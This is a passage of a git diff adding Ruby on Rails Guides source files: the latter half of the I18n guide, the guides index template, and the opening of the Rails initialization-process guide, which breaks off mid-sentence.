+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+#### Defaults
+
+When a `:default` option is given, its value will be returned if the translation is missing:
+
+```ruby
+I18n.t :missing, default: 'Not here'
+# => 'Not here'
+```
+
+If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+
+E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned:
+
+```ruby
+I18n.t :missing, default: [:also_missing, 'Not here']
+# => 'Not here'
+```
+
+#### Bulk and Namespace Lookup
+
+To look up multiple translations at once, an array of keys can be passed:
+
+```ruby
+I18n.t [:odd, :even], scope: 'errors.messages'
+# => ["must be odd", "must be even"]
+```
+
+Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
+
+```ruby
+I18n.t 'activerecord.errors.messages'
+# => {:inclusion=>"is not included in the list", :exclusion=> ... }
+```
+
+#### "Lazy" Lookup
+
+Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
+
+```yaml
+es:
+ books:
+ index:
+ title: "Título"
+```
+
+you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot):
+
+```erb
+<%= t '.title' %>
+```
+
+### Interpolation
+
+In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
+
+All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation:
+
+```ruby
+I18n.backend.store_translations :en, thanks: 'Thanks %{name}!'
+I18n.translate :thanks, name: 'Jeremy'
+# => 'Thanks Jeremy!'
+```
+
+If a translation uses `:default` or `:scope` as an interpolation variable, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.
+
+### Pluralization
+
+In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar), [Japanese](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja), [Russian](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or [...]
+
+The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+
+```ruby
+I18n.backend.store_translations :en, inbox: {
+ one: 'one message',
+ other: '%{count} messages'
+}
+I18n.translate :inbox, count: 2
+# => '2 messages'
+
+I18n.translate :inbox, count: 1
+# => 'one message'
+```
+
+The algorithm for pluralizations in `:en` is as simple as:
+
+```ruby
+entry[count == 1 ? 0 : 1]
+```
+
+I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).
+
+If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised.
+
+### Setting and Passing a Locale
+
+The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
+
+If no locale is passed, `I18n.locale` is used:
+
+```ruby
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+```
+
+Explicitly passing a locale:
+
+```ruby
+I18n.t :foo, locale: :de
+I18n.l Time.now, locale: :de
+```
+
+The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this:
+
+```ruby
+I18n.default_locale = :de
+```
+
+### Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
+
+```yaml
+# config/locales/en.yml
+en:
+ welcome: <b>welcome!</b>
+ hello_html: <b>hello!</b>
+ title:
+ html: <b>title!</b>
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+```
+
+
+
+How to Store your Custom Translations
+-------------------------------------
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
+
+For example a Ruby Hash providing translations can look like this:
+
+```ruby
+{
+ pt: {
+ foo: {
+ bar: "baz"
+ }
+ }
+}
+```
+
+The equivalent YAML file would look like this:
+
+```ruby
+pt:
+ foo:
+ bar: baz
+```
+
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
+
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
+
+```ruby
+en:
+ date:
+ formats:
+ default: "%Y-%m-%d"
+ short: "%b %d"
+ long: "%B %d, %Y"
+```
+
+So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+
+```ruby
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+```
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+
+### Translations for Active Record Models
+
+You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names.
+
+For example when you add the following translations:
+
+```ruby
+en:
+ activerecord:
+ models:
+ user: Dude
+ attributes:
+ user:
+ login: "Handle"
+ # will translate User attribute "login" as "Handle"
+```
+
+Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+
+#### Error Message Scopes
+
+Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
+
+This gives you quite powerful means to flexibly adjust your messages to your application's needs.
+
+Consider a User model with a validation for the name attribute like this:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :name, presence: true
+end
+```
+
+The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces:
+
+```ruby
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+```
+
+Thus, in our example it will try the following keys in this order and return the first result:
+
+```ruby
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
+
+For example, you might have an Admin model inheriting from User:
+
+```ruby
+class Admin < User
+ validates :name, presence: true
+end
+```
+
+Then Active Record will look for messages in this order:
+
+```ruby
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+
+#### Error Message Interpolation
+
+The translated model name, translated attribute name, and value are always available for interpolation.
+
+So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+
+* `count`, where available, can be used for pluralization if present:
+
+| validation | with option | message | interpolation |
+| ------------ | ------------------------- | ------------------------- | ------------- |
+| confirmation | - | :confirmation | - |
+| acceptance | - | :accepted | - |
+| presence | - | :blank | - |
+| length | :within, :in | :too_short | count |
+| length | :within, :in | :too_long | count |
+| length | :is | :wrong_length | count |
+| length | :minimum | :too_short | count |
+| length | :maximum | :too_long | count |
+| uniqueness | - | :taken | - |
+| format | - | :invalid | - |
+| inclusion | - | :inclusion | - |
+| exclusion | - | :exclusion | - |
+| associated | - | :invalid | - |
+| numericality | - | :not_a_number | - |
+| numericality | :greater_than | :greater_than | count |
+| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count |
+| numericality | :equal_to | :equal_to | count |
+| numericality | :less_than | :less_than | count |
+| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count |
+| numericality | :odd | :odd | - |
+| numericality | :even | :even | - |
+
+#### Translations for the Active Record `error_messages_for` Helper
+
+If you are using the Active Record `error_messages_for` helper, you will want to add
+translations for it.
+
+Rails ships with the following translations:
+
+```yaml
+en:
+ activerecord:
+ errors:
+ template:
+ header:
+ one: "1 error prohibited this %{model} from being saved"
+ other: "%{count} errors prohibited this %{model} from being saved"
+ body: "There were problems with the following fields:"
+```
+
+NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form)
+gem by adding this line to your Gemfile: `gem 'dynamic_form'`.
+
+### Translations for Action Mailer E-Mail Subjects
+
+If you don't pass a subject to the `mail` method, Action Mailer will try to find
+it in your translations. The performed lookup will use the pattern
+`<mailer_scope>.<action_name>.subject` to construct the key.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+ def welcome(user)
+ #...
+ end
+end
+```
+
+```yaml
+en:
+ user_mailer:
+ welcome:
+ subject: "Welcome to Rails Guides!"
+```
+
+### Overview of Other Built-In Methods that Provide I18n Support
+
+Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
+
+#### Action View Helper Methods
+
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations.
+
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the promp [...]
+
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope.
+
+#### Active Model Methods
+
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`).
+
+#### Active Support Methods
+
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope.
+
+Customize your I18n Setup
+-------------------------
+
+### Using Different Backends
+
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+
+```ruby
+I18n.backend = Globalize::Backend::Static.new
+```
+
+You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
+
+```ruby
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+```
+
+### Using Different Exception Handlers
+
+The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
+
+```ruby
+MissingTranslationData # no translation was found for the requested key
+InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
+```
+
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+
+In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
+
+```ruby
+module I18n
+ class JustRaiseExceptionHandler < ExceptionHandler
+ def call(exception, locale, key, options)
+ if exception.is_a?(MissingTranslation)
+ raise exception.to_exception
+ else
+ super
+ end
+ end
+ end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+```
+
+This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler.
+
+However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
+
+```ruby
+if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
+ raise exception.to_exception
+else
+ super
+end
+```
+
+Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
+
+To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:
+
+```ruby
+I18n.t :foo, raise: true # always re-raises exceptions from the backend
+```
+
+Conclusion
+----------
+
+At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
+
+If you find anything missing or wrong in this guide, please file a ticket on our [issue tracker](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview). If you want to discuss certain portions or have questions, please sign up to our [mailing list](http://groups.google.com/group/rails-i18n).
+
+
+Contributing to Rails I18n
+--------------------------
+
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
+
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
+
+If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests).
+
+
+Resources
+---------
+
+* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki).
+* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
+* [Github: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
+* [Github: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem.
+* [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project.
+* [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem.
+
+
+Authors
+-------
+
+* [Sven Fuchs](http://www.workingwithrails.com/person/9963-sven-fuchs) (initial author)
+* [Karel Minařík](http://www.workingwithrails.com/person/7476-karel-mina-k)
+
+If you found this guide useful, please consider recommending its authors on [workingwithrails](http://www.workingwithrails.com).
+
+
+Footnotes
+---------
+
+[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+
+[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+
+[^3]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experi [...]
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
new file mode 100644
index 0000000..a8e4525
--- /dev/null
+++ b/guides/source/index.html.erb
@@ -0,0 +1,27 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<% content_for :header_section do %>
+<%= render 'welcome' %>
+<% end %>
+
+<% content_for :index_section do %>
+<div id="subCol">
+ <dl>
+ <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
+ <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
+ </dl>
+</div>
+<% end %>
+
+<% documents_by_section.each do |section| %>
+ <h3><%= section['name'] %></h3>
+ <dl>
+ <% section['documents'].each do |document| %>
+ <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %>
+ <p><%= document['description'] %></p>
+ <% end %>
+ <% end %>
+ </dl>
+<% end %>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
new file mode 100644
index 0000000..412f2fa
--- /dev/null
+++ b/guides/source/initialization.md
@@ -0,0 +1,562 @@
+The Rails Initialization Process
+================================
+
+This guide explains the internals of the initialization process in Rails
+as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers.
+
+After reading this guide, you will know:
+
+* How to use `rails server`.
+
+--------------------------------------------------------------------------------
+
+This guide goes through every method call that is
+required to boot up the Ruby on Rails stack for a default Rails 4
+application, explaining each part in detail along the way. For this
+guide, we will be focusing on what happens when you execute +rails
+server+ to boot your app.
+
+NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
+
+TIP: If you want to follow along while browsing the Rails [source
+code](https://github.com/rails/rails), we recommend that you use the `t`
+key binding to open the file finder inside GitHub and find files
+quickly.
+
+Launch!
+-------
+
+Now we finally boot and initialize the app. It all starts with your app's
+`bin/rails` executable. A Rails application is usually started by running
+`rails console` or `rails server`.
+
+### `bin/rails`
+
+This file is as follows:
+
+```ruby
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require File.expand_path('../../config/boot', __FILE__)
+require 'rails/commands'
+```
+
+The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up.
+
+### `config/boot.rb`
+
+`config/boot.rb` contains:
+
+```ruby
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+```
+
+In a standard Rails application, there's a `Gemfile` which declares all
+dependencies of the application. `config/boot.rb` sets
+`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
+exists, `bundler/setup` is then required.
+
+The gems that a Rails 4 application depends on are as follows:
+
+TODO: change these when the Rails 4 release is near.
+
+* abstract (1.0.0)
+* actionmailer (4.0.0.beta)
+* actionpack (4.0.0.beta)
+* activemodel (4.0.0.beta)
+* activerecord (4.0.0.beta)
+* activesupport (4.0.0.beta)
+* arel (2.0.7)
+* builder (3.0.0)
+* bundler (1.0.6)
+* erubis (2.6.6)
+* i18n (0.5.0)
+* mail (2.2.12)
+* mime-types (1.16)
+* polyglot (0.3.1)
+* rack (1.2.1)
+* rack-cache (0.5.3)
+* rack-mount (0.6.13)
+* rack-test (0.5.6)
+* rails (4.0.0.beta)
+* railties (4.0.0.beta)
+* rake (0.8.7)
+* sqlite3-ruby (1.3.2)
+* thor (0.14.6)
+* treetop (1.4.9)
+* tzinfo (0.3.23)
+
+### `rails/commands.rb`
+
+Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines:
+
+```ruby
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+ "g" => "generate",
+ "d" => "destroy",
+ "c" => "console",
+ "s" => "server",
+ "db" => "dbconsole",
+ "r" => "runner"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+```
+
+TIP: As you can see, an empty ARGV list will make Rails show the help
+snippet.
+
+If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code:
+
+```ruby
+when 'server'
+ # Change to the application's path if there is no config.ru file in current dir.
+ # This allows us to run `rails server` from other directories, but still get
+ # the main config.ru and properly set the tmp directory.
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+
+ require 'rails/commands/server'
+ Rails::Server.new.tap do |server|
+ # We need to require application after the server sets environment,
+ # otherwise the --environment option given to the server won't propagate.
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+ end
+```
+
+This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class.
+
+```ruby
+require 'fileutils'
+require 'optparse'
+require 'action_dispatch'
+
+module Rails
+ class Server < ::Rack::Server
+```
+
+`fileutils` and `optparse` are standard Ruby libraries which provide helper functions for working with files and parsing options.
+
+### `actionpack/lib/action_dispatch.rb`
+
+Action Dispatch is the routing component of the Rails framework.
+It adds functionalities like routing, session, and common middlewares.
+
+### `rails/commands/server.rb`
+
+The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`:
+
+```ruby
+def initialize(*)
+ super
+ set_environment
+end
+```
+
+Firstly, `super` is called which calls the `initialize` method on `Rack::Server`.
+
+### Rack: `lib/rack/server.rb`
+
+`Rack::Server` is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
+
+The `initialize` method in `Rack::Server` simply sets a couple of variables:
+
+```ruby
+def initialize(options = nil)
+ @options = options
+ @app = options[:app] if options && options[:app]
+end
+```
+
+In this case, `options` will be `nil` so nothing happens in this method.
+
+After `super` has finished in `Rack::Server`, we jump back to `rails/commands/server.rb`. At this point, `set_environment` is called within the context of the `Rails::Server` object and this method doesn't appear to do much at first glance:
+
+```ruby
+def set_environment
+ ENV["RAILS_ENV"] ||= options[:environment]
+end
+```
+
+In fact, the `options` method here does quite a lot. This method is defined in `Rack::Server` like this:
+
+```ruby
+def options
+ @options ||= parse_options(ARGV)
+end
+```
+
+Then `parse_options` is defined like this:
+
+```ruby
+def parse_options(args)
+ options = default_options
+
+ # Don't evaluate CGI ISINDEX parameters.
+ # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+ args.clear if ENV.include?("REQUEST_METHOD")
+
+ options.merge! opt_parser.parse! args
+ options[:config] = ::File.expand_path(options[:config])
+ ENV["RACK_ENV"] = options[:environment]
+ options
+end
+```
+
+With the `default_options` set to this:
+
+```ruby
+def default_options
+ {
+ :environment => ENV['RACK_ENV'] || "development",
+ :pid => nil,
+ :Port => 9292,
+ :Host => "0.0.0.0",
+ :AccessLog => [],
+ :config => "config.ru"
+ }
+end
+```
+
+There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`
+
+```ruby
+def opt_parser
+ Options.new
+end
+```
+
+The class **is** defined in `Rack::Server`, but is overwritten in `Rails::Server` to take different arguments. Its `parse!` method begins like this:
+
+```ruby
+def parse!(args)
+ args, options = args.dup, {}
+
+ opt_parser = OptionParser.new do |opts|
+ opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+ opts.on("-p", "--port=port", Integer,
+ "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+ ...
+```
+
+This method will set up keys for the `options` which Rails will then be
+able to use to determine how its server should run. After `initialize`
+has finished, we jump back into `rails/server` where `APP_PATH` (which was
+set earlier) is required.
+
+### `config/application`
+
+When `require APP_PATH` is executed, `config/application.rb` is loaded.
+This file exists in your app and it's free for you to change based
+on your needs.
+
+### `Rails::Server#start`
+
+After `config/application` is loaded, `server.start` is called. This method is defined like this:
+
+```ruby
+def start
+ url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+ puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+ puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+ puts "=> Run `rails server -h` for more startup options"
+ trap(:INT) { exit }
+ puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+
+ #Create required tmp directories if not found
+ %w(cache pids sessions sockets).each do |dir_to_make|
+ FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
+ end
+
+ unless options[:daemonize]
+ wrapped_app # touch the app so the logger is set up
+
+ console = ActiveSupport::Logger.new($stdout)
+ console.formatter = Rails.logger.formatter
+
+ Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+ end
+
+ super
+ensure
+ # The '-h' option calls exit before @options is set.
+ # If we call 'options' with it unset, we get double help banners.
+ puts 'Exiting' unless @options && options[:daemonize]
+end
+```
+
+This is where the first output of the Rails initialization happens. This
+method creates a trap for `INT` signals, so if you `CTRL-C` the server,
+it will exit the process. As we can see from the code here, it will
+create the `tmp/cache`, `tmp/pids`, `tmp/sessions` and `tmp/sockets`
+directories. It then calls `wrapped_app` which is responsible for
+creating the Rack app, before creating and assigning an
+instance of `ActiveSupport::Logger`.
+
+The `super` method will call `Rack::Server.start` which begins its definition like this:
+
+```ruby
+def start &blk
+ if options[:warn]
+ $-w = true
+ end
+
+ if includes = options[:include]
+ $LOAD_PATH.unshift(*includes)
+ end
+
+ if library = options[:require]
+ require library
+ end
+
+ if options[:debug]
+ $DEBUG = true
+ require 'pp'
+ p options[:server]
+ pp wrapped_app
+ pp app
+ end
+
+ check_pid! if options[:pid]
+
+ # Touch the wrapped app, so that the config.ru is loaded before
+ # daemonization (i.e. before chdir, etc).
+ wrapped_app
+
+ daemonize_app if options[:daemonize]
+
+ write_pid if options[:pid]
+
+ trap(:INT) do
+ if server.respond_to?(:shutdown)
+ server.shutdown
+ else
+ exit
+ end
+ end
+
+ server.run wrapped_app, options, &blk
+end
+```
+
+The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time
+we're going to explore more (even though it was executed before, and
+thus memorized by now).
+
+```ruby
+ at wrapped_app ||= build_app app
+```
+
+The `app` method here is defined like so:
+
+```ruby
+def app
+ @app ||= begin
+ if !::File.exist? options[:config]
+ abort "configuration #{options[:config]} not found"
+ end
+
+ app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+ self.options.merge! options
+ app
+ end
+end
+```
+
+The `options[:config]` value defaults to `config.ru` which contains this:
+
+```ruby
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment', __FILE__)
+run <%= app_const %>
+```
+
+
+The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
+
+```ruby
+app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
+ TOPLEVEL_BINDING, config
+```
+
+The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
+
+```ruby
+require ::File.expand_path('../config/environment', __FILE__)
+```
+
+### `config/environment.rb`
+
+This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
+
+This file begins with requiring `config/application.rb`.
+
+### `config/application.rb`
+
+This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.
+
+Then the fun begins!
+
+Loading Rails
+-------------
+
+The next line in `config/application.rb` is:
+
+```ruby
+require 'rails/all'
+```
+
+### `railties/lib/rails/all.rb`
+
+This file is responsible for requiring all the individual frameworks of Rails:
+
+```ruby
+require "rails"
+
+%w(
+ active_record
+ action_controller
+ action_mailer
+ rails/test_unit
+ sprockets
+).each do |framework|
+ begin
+ require "#{framework}/railtie"
+ rescue LoadError
+ end
+end
+```
+
+This is where all the Rails frameworks are loaded and thus made
+available to the application. We won't go into detail of what happens
+inside each of those frameworks, but you're encouraged to try and
+explore them on your own.
+
+For now, just keep in mind that common functionality like Rails engines,
+I18n and Rails configuration is all being defined here.
+
+### Back to `config/environment.rb`
+
+When `config/application.rb` has finished loading Rails, and defined
+your application namespace, you go back to `config/environment.rb`,
+where your application is initialized. For example, if you application was called
+`Blog`, here you would find `Blog::Application.initialize!`, which is
+defined in `rails/application.rb`
+
+### `railties/lib/rails/application.rb`
+
+The `initialize!` method looks like this:
+
+```ruby
+def initialize!(group=:default) #:nodoc:
+ raise "Application has been already initialized." if @initialized
+ run_initializers(group, self)
+ @initialized = true
+ self
+end
+```
+
+As you can see, you can only initialize an app once. This is also where the initializers are run.
+
+TODO: review this
+
+The initializers code itself is tricky. What Rails is doing here is it
+traverses all the class ancestors looking for an `initializers` method,
+sorting them and running them. For example, the `Engine` class will make
+all the engines available by providing the `initializers` method.
+
+After this is done we go back to `Rack::Server`
+
+### Rack: lib/rack/server.rb
+
+Last time we left when the `app` method was being defined:
+
+```ruby
+def app
+ @app ||= begin
+ if !::File.exist? options[:config]
+ abort "configuration #{options[:config]} not found"
+ end
+
+ app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+ self.options.merge! options
+ app
+ end
+end
+```
+
+At this point `app` is the Rails app itself (a middleware), and what
